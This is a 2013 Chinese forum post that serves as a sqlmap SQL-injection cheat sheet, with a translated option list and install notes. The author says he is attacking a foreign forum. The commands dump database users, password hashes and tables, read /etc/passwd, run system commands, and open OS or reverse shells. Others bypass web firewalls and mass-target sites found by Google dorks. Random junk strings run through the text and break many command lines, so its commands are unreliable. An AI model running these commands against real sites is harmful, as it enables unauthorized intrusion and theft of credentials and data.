找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2611|回复: 0
打印 上一主题 下一主题

sqlmap注入命令的使用方法

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-4 22:26:32 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
今天搞国外的一个论坛。发现萝卜和穿山甲都无法正常注入,实在没办法了 还是临时学习了下国外的神器sqlmap的使用方法,,直接做个记录、、& t$ E% n0 c, `
sqlmap -u “http://url/news?id=1″ –current-user #获取当前用户名称sqlmap -u “http://www.xxoo.com/news?id=1″ –current-db #获取当前数 据库名称
. t! F- [* o/ o" e1 o6 {sqlmap -u “http://www.xxoo.com/news?id=1″ –tables -D “db_name”#列 表名8 S& X2 v- ~$ S: X4 y) w
sqlmap -u “http://url/news?id=1″ –columns -T “tablename”users-D “db_name”-v 0 #列字段; D. P9 Z' Y; a6 a* l
1 L4 r- v/ E+ o
sqlmap  -u  “http://url/news?id=1″  –dump  -C  “column_name”  -T “table_name”-D “db_name”-v
4 O0 W& G7 U% X* g5 L0 #获取字段内容
  p$ T' m/ F) D   K, P( `' i' Y# Y  Z
******************信息获取******************$ S: r4 q- M5 l+ \4 l2 Q' a
sqlmap -u “http://url/news?id=1″ –dbms “Mysql” –users # dbms 指定数 据库类型2 N$ {6 C* I- N) ]2 a
sqlmap -u “http://url/news?id=1″ –users #列数据库用户
/ O/ v, J" f; x  _) bsqlmap -u “http://url/news?id=1″ –dbs#列数据库
3 x& M& G2 D: W2 dsqlmap -u “http://url/news?id=1″ –passwords #数据库用户密码9 G/ L- V& M: t9 k
sqlmap -u “http://url/news?id=1″ –passwords-U root -v 0 #列出指定用户 数据库密码" g$ S2 P! N4 A! I' t6 ~
sqlmap  -u  “http://url/news?id=1″   –dump  -C  “password,user,id”  -T “tablename”-D “db_name”+ i7 v* Y1 ]. Z" X; |4 C; D
–start 1 –stop 20 #列出指定字段,列出20 条
2 O$ ^# L2 t7 `& l9 Asqlmap -u “http://url/news?id=1″ –dump-all -v 0 #列出所有数据库所有表% |# `$ x: F  t. C3 I1 |
sqlmap -u “http://url/news?id=1″ –privileges #查看权限
5 q" G4 L, D+ H3 Y0 Q9 hsqlmap -u “http://url/news?id=1″ –privileges -U root #查看指定用户权限sqlmap -u “http://url/news?id=1″ –is-dba -v 1 #是否是数据库管理员sqlmap -u “http://url/news?id=1″ –roles #枚举数据库用户角色# H) @5 `* F$ C# `: \- G& e
sqlmap -u “http://url/news?id=1″ –udf-inject #导入用户自定义函数(获取 系统权限!), j4 R: H  `& k2 e! ]) I
sqlmap -u “http://url/news?id=1″ –dump-all –exclude-sysdbs -v 0 #列 出当前库所有表. u( n5 l2 S8 S. R+ |: o4 t
sqlmap -u “http://url/news?id=1″ –union-cols #union 查询表记录- X9 E0 P0 O& R% M
sqlmap -u “http://url/news?id=1″ –cookie “COOKIE_VALUE”#cookie注入
. U# R+ L$ C$ W/ z) }9 ssqlmap -u “http://url/news?id=1″-b #获取banner信息7 o* T: v" \  ?) L/ w
sqlmap -u “http://url/news?id=1″ –data “id=3″#post注入2 d* P: }: a, r* H# j
sqlmap -u “http://url/news?id=1″-v 1 -f #指纹判别数据库类型
; n/ A6 T* j& E) V6 L% Ksqlmap -u “http://url/news?id=1″ –proxy“http://127.0.0.1:8118” #代理注 入
: I- G: Z! ^3 h) ?% {sqlmap -u “http://url/news?id=1″–string”STRING_ON_TRUE_PAGE”# 指 定关键词! A5 A% o; [% e9 r3 ?7 J# i! s
sqlmap -u “http://url/news?id=1″ –sql-shell #执行指定sql命令0 k. m1 y6 A" s
sqlmap -u “http://url/news?id=1″ –file /etc/passwd
0 z. Z3 E! r) T( s& B4 C/ W0 [. f7 [sqlmap -u “http://url/news?id=1″ –os-cmd=whoami #执行系统命令
( b( h# k2 W( d  }sqlmap -u “http://url/news?id=1″ –os-shell #系统交互shell sqlmap -u “http://url/news?id=1″ –os-pwn #反弹shell
/ L  v6 J7 |5 N7 i+ K6 J- L% asqlmap -u “http://url/news?id=1″ –reg-read #读取win系统注册表" k  Q5 s) u# |; h0 u5 A
sqlmap -u “http://url/news?id=1″ –dbs-o “sqlmap.log”#保存进度8 D2 b. f* l3 n5 R2 E5 u7 B, D* {
sqlmap -u “http://url/news?id=1″ –dbs -o “sqlmap.log” –resume #恢复 已保存进度
' M6 g/ {* \# }***********高级用法*************
" v6 |9 E2 v6 q- [-p name 多个参数如index.php?n_id=1&name=2&data=2020 我们想指定name参数进行注入
$ l5 V, o; j/ u3 ksqlmap -g “google语法” –dump-all –batch #google搜索注入点自动 跑出 所有字段          需保证google.com能正常访问' v. X1 r; p" I$ X; Y9 R% y
–technique   测试指定注入类型\使用的技术
8 P* E- O, L$ o; u) Y* `2 b% v不加参数默认测试所有注入技术
+ P; A$ E* ?! Y8 _/ ]3 [•     B: 基于布尔的SQL 盲注
$ T% C: o  E( l•     E: 基于显错sql 注入
# O% C# ?  j" o( n8 O4 ~0 C•     U: 基于UNION 注入. X& h( k* S9 A/ q9 d" c6 D3 ]
•     S: 叠层sql 注入4 G& P0 j( v3 Q3 H- W. g
•     T: 基于时间盲注& U% V1 x" Z: N) \7 r3 R7 X' z
–tamper 通过编码绕过WEB 防火墙(WAF)Sqlmap 默认用char()
( [  Z" z9 t( h& Y: K6 j–tamper 插件所在目录9 P9 |5 @  ?7 M# ]7 }6 M
\sqlmap-dev\tamper
. l0 _, L# y# K* usqlmap -u “http:// www.2cto.com /news?id=1″ –smart –level 3 –users # smart 智 能
2 O' S; A1 |0 b* q  P1 u4 {level 执行测试等级 攻击实例:
! M/ e. E5 ]8 Y" Z5 T: Y" iSqlmap -u “http://url/news?id=1&Submit=Submit”, N' T8 @# Q& v0 [
–cookie=”PHPSESSID=41aa833e6d0d
* r* `6 _5 I) i8 A28f489ff1ab5a7531406″ –string=”Surname” –dbms=mysql –user
! [1 q$ i3 a9 J+ {4 U–password
  H: O7 M* j7 R' S8 D参考文档:http://sqlmap.sourceforge.net/doc/README.html# {% H5 ~" M9 `6 I
***********安装最新版本*************
  s# r3 ^; ?8 N9 [/ q3 n# Tubuntu 通过apt-get install 安装的sqlmap版本为0.6 我们通过svn 来安装 为 最新1.0版; M$ x$ j- J* I7 o2 }% E% ?
sudo   svn   checkout   https://svn.sqlmap.org/sqlmap/trunk/sqlmap sqlmap-dev1 x& d5 c+ E( ~, Q' W
安装的位置为:/home/当前用户/sqlmap-dev/sqlmap.py 直接执行/home/当前用户/sqlmap-dev/sqlmap.py –version 这样很不方便 我们可以设置.bashrc 文件3 N6 q/ n1 |% ]! m7 B
sudo vim /home/当前用户/.bashrc
! k; f7 a2 B, @2 }2 P* x4 \/ z#任意位置加上:8 x4 G) x6 X# f" _& z* X
alias sqlmap=’python /home/seclab/sqlmap-dev/sqlmap.py’ 该环境变量只对当前用户有效7 {/ d9 ^) X$ s  C/ _/ u* c. m
如果想对所有用户有效 可设置全局 编辑下面的文件/ R7 }. a' H. k& U
vim /etc/profile, c; Z7 v! f; v6 d
同样加上:9 [3 k- P% f, u/ d& L8 w% y
alias sqlmap=’python /home/seclab/sqlmap-dev/sqlmap.py’ 重启生效
& J# S' [) n9 _% g7 n$ Z- E* W******************windows 7 (x64) sqlmap install (SVN)************% Q" J7 p* I- z4 _) r
http://www.python.org/getit/ 安装python
, \+ j" `7 ~, V8 uhttp://www.sliksvn.com/en/download 安装windows svn client  j7 V. v* }, ^$ b
svn checkout https://svn.sqlmap.org/sqlmap/trunk/sqlmap sqlmap-dev
. A$ P( d; b5 Q1 E+ e. H安装sqlmap; t1 T3 x4 I% `
*修改环境变量
6 f5 q. u+ K$ E–version             显示程序的版本号并退出
4 W% a* V- q0 p! a  d: \-h, –help            显示此帮助消息并退出
# l9 c& \1 b1 d' s, Q-v VERBOSE            详细级别:0-6(默认为1)
) S4 S4 W/ W4 PTarget(目标): 以下至少需要设置其中一个选项,设置目标URL。
2 z4 B# C1 I2 h( T; A) n; q-d DIRECT           直接连接到数据库。
6 x+ Z% M& O2 y2 V5 P* b-u URL, –url=URL   目标URL。, M$ [3 Z# O) ~
-l LIST             从Burp 或WebScarab 代理的日志中解析目标。
8 Q  A/ e, j, B7 D-r REQUESTFILE      从一个文件中载入HTTP 请求。
0 k) _0 v# z6 V-g GOOGLEDORK       处理Google dork 的结果作为目标URL。
: [6 ^; U, R+ ]5 U3 @3 l9 i  g-c CONFIGFILE       从INI 配置文件中加载选项。
3 K# m6 I1 z6 g4 f& L% i3 bRequest(请求)::
( Y5 M: j% ]5 R3 [; I# V8 o4 h这些选项可以用来指定如何连接到目标URL。
' u! l7 Q- Q& Y, q8 X, d6 ^–data=DATA         通过POST 发送的数据字符串
6 ~, ^. `: p' w7 ~3 B5 `7 ~7 v& `–cookie=COOKIE     HTTP Cookie 头
; o6 H; k" J9 b–cookie-urlencode  URL 编码生成的cookie 注入
7 d( j3 t/ ^; D–drop-set-cookie   忽略响应的Set –Cookie 头信息
/ J3 h& z/ m% n8 |3 \0 ?: I$ l) \
- t/ u1 U& z% ]8 N5 ~$ a–user-agent=AGENT  指定  HTTP User –Agent 头9 }1 Y9 W. r% l# Z) E" [
–random-agent      使用随机选定的HTTP User –Agent 头
# f) R: R5 }# `–referer=REFERER   指定  HTTP Referer 头3 y+ Y- C" S+ @" ^4 s
–headers=HEADERS   换行分开,加入其他的HTTP 头
; b7 G$ k4 i4 U" m1 @4 `–auth-type=ATYPE   HTTP 身份验证类型(基本,摘要或NTLM)(Basic, Digest or NTLM)3 j0 u* F( s" E/ ~" _
–auth-cred=ACRED   HTTP 身份验证凭据(用户名:密码)
0 ~1 \2 v1 ]2 G$ |; }# E6 }–auth-cert=ACERT   HTTP 认证证书(key_file,cert_file)$ C  Y; |9 d6 M3 b* j
–proxy=PROXY       使用HTTP 代理连接到目标URL
# u4 E5 h2 g: h: I  @& L–proxy-cred=PCRED  HTTP 代理身份验证凭据(用户名:密码)
* |6 p3 I6 b1 j& F4 i5 \–ignore-proxy      忽略系统默认的HTTP 代理
$ Q8 Q2 b3 d) a) p( C0 r–delay=DELAY       在每个HTTP 请求之间的延迟时间,单位为秒8 t0 d3 i# P5 M* {7 P( M
–timeout=TIMEOUT   等待连接超时的时间(默认为30 秒)
( u4 C$ F: v( z" R–retries=RETRIES   连接超时后重新连接的时间(默认3)
0 n- o0 s: u! k' u, Z–scope=SCOPE       从所提供的代理日志中过滤器目标的正则表达式
/ V% v/ ^) z3 V–safe-url=SAFURL   在测试过程中经常访问的url 地址+ f; Y  J; X2 V! E
–safe-freq=SAFREQ  两次访问之间测试请求,给出安全的URL' ~; r9 X/ B" C0 D) l0 T4 ]
Optimization(优化): 这些选项可用于优化SqlMap 的性能。! F1 C( ~* E7 K# R5 `' f" Z4 a
-o                  开启所有优化开关
/ y6 H$ o& a2 X' C' [+ r; l–predict-output    预测常见的查询输出
7 ]2 w9 v! [2 R0 `8 w–keep-alive        使用持久的HTTP(S)连接5 l0 D2 f5 Y" Y: ?
–null-connection   从没有实际的HTTP 响应体中检索页面长度& g' t- p" u) ~4 K' v7 h
–threads=THREADS   最大的HTTP(S)请求并发量(默认为1)
  e# o: r  {; t3 A' zInjection(注入):
; n0 k( F: P- I' w" g这些选项可以用来指定测试哪些参数,  提供自定义的注入payloads 和可选篡改脚本。$ ]+ G; G  k; f' _. T2 X3 X% B
-p TESTPARAMETER    可测试的参数(S)
' A( \( Y4 C5 M+ H! m: H+ U: Y–dbms=DBMS         强制后端的DBMS 为此值. w; l2 t2 C( p$ j9 T: m
–os=OS             强制后端的DBMS 操作系统为这个值
) a6 z; v- I: C* A! d5 q" H–prefix=PREFIX     注入payload 字符串前缀
$ J5 Z' g  V( k–suffix=SUFFIX     注入 payload 字符串后缀
$ `! R+ ~2 m+ P& g/ f–tamper=TAMPER     使用给定的脚本(S)篡改注入数据* G/ S  W( V, D& Y9 c* k! u  w: w2 O
Detection(检测):7 w3 U' e# m. V/ E& x
这些选项可以用来指定在SQL 盲注时如何解析和比较HTTP 响应页面的内容。3 g" y. m% V* F! _" X& h
–level=LEVEL       执行测试的等级(1-5,默认为1)
4 K- t* @) ]8 \5 A–risk=RISK         执行测试的风险(0-3,默认为1), g! ^8 |/ J4 m* e5 T* F
–string=STRING     查询时有效时在页面匹配字符串
8 N& P+ f6 y1 b6 R- ?  B–regexp=REGEXP     查询时有效时在页面匹配正则表达式
* w4 v1 [9 ^4 g–text-only         仅基于在文本内容比较网页* X$ L' ~8 z/ x7 g
Techniques(技巧): 这些选项可用于调整具体的SQL 注入测试。, f/ }# D. g: e* w5 X+ ]) Y) ^* L
–technique=TECH    SQL 注入技术测试(默认BEUST)
$ \: w! j" ~* x1 ^–time-sec=TIMESEC  DBMS 响应的延迟时间(默认为5 秒)5 a3 Y9 K; X0 h# G# T7 T* A
–union-cols=UCOLS  定列范围用于测试UNION 查询注入% K- R9 {, O: _  ?2 e2 _$ M
–union-char=UCHAR  用于暴力猜解列数的字符
* p8 a1 y, n( d4 B6 B' t: EFingerprint(指纹):
' t: a3 k3 F) k' J6 I1 m-f, –fingerprint     执行检查广泛的DBMS 版本指纹
9 r- |% D' O. b. z6 A9 ?Enumeration(枚举):- P! f; B- K& K- c% Z7 J) p
$ C; I' `$ i0 Z7 l  J! j
这些选项可以用来列举后端数据库管理系统的信息、表中的结构和数据。此外,您还可以运行您自己 的SQL 语句。
* N0 H* p8 _( ~9 X0 A-b, –banner        检索数据库管理系统的标识
( L+ @7 r4 _, w6 F–current-user      检索数据库管理系统当前用户7 M  _; a' C& g/ ?' A' i& |+ D) x
–current-db        检索数据库管理系统当前数据库: l+ J8 X0 O9 N; {
–is-dba            检测DBMS 当前用户是否DBA
9 m% ?/ ~& t4 u; W2 o1 F–users             枚举数据库管理系统用户
# y( K) F" j0 ~" ]0 l$ I* i6 X–passwords         枚举数据库管理系统用户密码哈希4 S# B1 j5 h' x
–privileges        枚举数据库管理系统用户的权限
: Q# G; i8 P# @–roles             枚举数据库管理系统用户的角色
& F; A' X1 k; j5 e  r–dbs               枚举数据库管理系统数据库
" W- V4 X  u4 E! u' f! j( o" U0 |–tables            枚举的DBMS 数据库中的表8 a9 S4 F- W3 S. h4 |
–columns           枚举DBMS 数据库表列( R8 |  J+ m% j- E* s
–dump              转储数据库管理系统的数据库中的表项9 G" ]7 X( V  a
–dump-all          转储所有的DBMS 数据库表中的条目/ |1 D  ?$ \, r* F* ^$ J6 f( k* E7 ?& @
–search            搜索列(S),表(S)和/或数据库名称(S)
# q* D3 u% D9 i( K: B-D DB               要进行枚举的数据库名; W* G" `5 L" I1 ^) y3 l
-T TBL              要进行枚举的数据库表
4 h8 K; D6 n% R-C COL              要进行枚举的数据库列
7 k$ a9 O! H& ]+ U6 u7 ?-U USER             用来进行枚举的数据库用户$ w% {) }; V: x* T( V
–exclude-sysdbs    枚举表时排除系统数据库
  ]4 _* J! P* o0 G–start=LIMITSTART  第一个查询输出进入检索4 E9 Y7 Q# ?5 u* u  ~- p
–stop=LIMITSTOP    最后查询的输出进入检索
/ ^. m  y+ Q! L- w/ I( O, q–first=FIRSTCHAR   第一个查询输出字的字符检索
7 o; a$ h1 h3 `7 R/ s–last=LASTCHAR     最后查询的输出字字符检索
+ }% l( z  L% X& i–sql-query=QUERY   要执行的SQL 语句+ f! I$ Y+ j: A5 O! |+ a4 t
–sql-shell         提示交互式SQL 的shell
# Q  c+ q- y2 y* u! |8 qBrute force(蛮力): 这些选项可以被用来运行蛮力检查。( Z8 R/ @# P" A: N* h8 j
–common-tables     检查存在共同表
% ?9 }9 q; N  l2 ?; @' ^# v–common-columns    检查存在共同列1 Z+ P6 x9 ~! [, Y
User-defined function injection(用户自定义函数注入): 这些选项可以用来创建用户自定义函数。
* Y0 B3 L' A+ {" U. u; z–udf-inject        注入用户自定义函数
6 r# z5 r# v" V4 m- E0 @–shared-lib=SHLIB  共享库的本地路径
6 W. S$ c/ ?3 C  p1 \1 {; P4 CFile system access(访问文件系统): 这些选项可以被用来访问后端数据库管理系统的底层文件系统。3 R4 r+ ~6 d; W. w& H
–file-read=RFILE   从后端的数据库管理系统文件系统读取文件% F8 t6 N- Y* Z; f0 G6 l+ \  G
–file-write=WFILE  编辑后端的数据库管理系统文件系统上的本地文件
, f3 W- V  H9 e–file-dest=DFILE   后端的数据库管理系统写入文件的绝对路径
3 Y( Q4 A  j  y0 p2 z1 l6 T4 BOperating system access(操作系统访问): 这些选项可以用于访问后端数据库管理系统的底层操作系统。* U  M& q5 k  ^) \
–os-cmd=OSCMD      执行操作系统命令
  y4 ?/ j6 E3 R( {–os-shell          交互式的操作系统的shell
: k  N) G  \, ]–os-pwn            获取一个OOB shell,meterpreter 或VNC
% A; T# H) O5 r, C. a/ k–os-smbrelay       一键获取一个OOB shell,meterpreter 或VNC* o( m" h0 A' p+ P4 n' x) j/ t' Y, U
–os-bof            存储过程缓冲区溢出利用
% m3 U- \- c6 Y( n$ A2 a& H–priv-esc          数据库进程用户权限提升
  O; S/ _, l; m' N* M- ^2 k( m–msf-path=MSFPATH  Metasploit Framework 本地的安装路径
/ W, u' v2 w9 A* o8 [  h–tmp-path=TMPPATH  远程临时文件目录的绝对路径
, E7 ~( l# U. e% h $ P' s' P/ r$ W+ B0 U$ w' G
Windows 注册表访问: 这些选项可以被用来访问后端数据库管理系统Windows 注册表。
* O* g$ Y/ p8 @& o! w–reg-read          读一个Windows 注册表项值
2 e0 b8 Z# h- `–reg-add           写一个Windows 注册表项值数据9 R" }) L- m0 R, g9 F: o  f# \% Y
–reg-del           删除Windows 注册表键值
6 v$ q  M* @: x" x4 n6 i6 w–reg-key=REGKEY    Windows 注册表键, B/ C0 b  w) X
–reg-value=REGVAL  Windows 注册表项值1 j) m7 _) q' w- f5 V
–reg-data=REGDATA  Windows 注册表键值数据6 k# T6 }2 C/ X+ O9 Z% k
–reg-type=REGTYPE  Windows 注册表项值类型
- b0 D! f" ?' _General(一般): 这些选项可以用来设置一些一般的工作参数。. \0 ]% Y" A6 J/ m5 d1 ~- z
-t TRAFFICFILE      记录所有HTTP 流量到一个文本文件中
  ~% ]" t7 ]! T/ d' E-s SESSIONFILE      保存和恢复检索会话文件的所有数据7 g- v. E" I0 ]3 E. C/ y' m7 z
–flush-session     刷新当前目标的会话文件2 B% x2 T0 c4 |' _# I
–fresh-queries     忽略在会话文件中存储的查询结果
. O: V' E6 x+ K–eta               显示每个输出的预计到达时间
! N" p) `6 J8 F$ J& t9 l" d–update            更新SqlMap
7 b* d/ y6 C' }, }# z: ]–save              file 保存选项到INI 配置文件
7 @. P5 n( `# v" i–batch             从不询问用户输入,使用所有默认配置。- f, Z: \# Y( K! z  D; s6 |+ ?
Miscellaneous(杂项):2 r! r4 @1 A2 \7 S3 H# o0 Q4 f
–beep              发现SQL 注入时提醒
  Q7 P( i, F2 F5 [9 a–check-payload     IDS 对注入payloads 的检测测试  K5 M! J& _0 G; @1 ^/ G: ]* E
–cleanup           SqlMap 具体的UDF 和表清理DBMS+ m. C  g( i: Y1 @- k7 [
–forms             对目标URL 的解析和测试形式
. h9 ~* ~+ _( K9 N: a  [/ _–gpage=GOOGLEPAGE  从指定的页码使用谷歌dork 结果
" L- O5 w* g5 l5 s–page-rank         Google dork 结果显示网页排名(PR)) g7 R1 q& L6 q* b) N7 R
–parse-errors      从响应页面解析数据库管理系统的错误消息
4 @1 B8 q) M, I1 F- h% ]–replicate         复制转储的数据到一个sqlite3 数据库/ o+ x5 t8 k/ U+ b3 U
–tor               使用默认的Tor(Vidalia/ Privoxy/ Polipo)代理地址
! D, ^+ Y6 {$ @" n$ F' k- M–wizard            给初级用户的简单向导界面
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表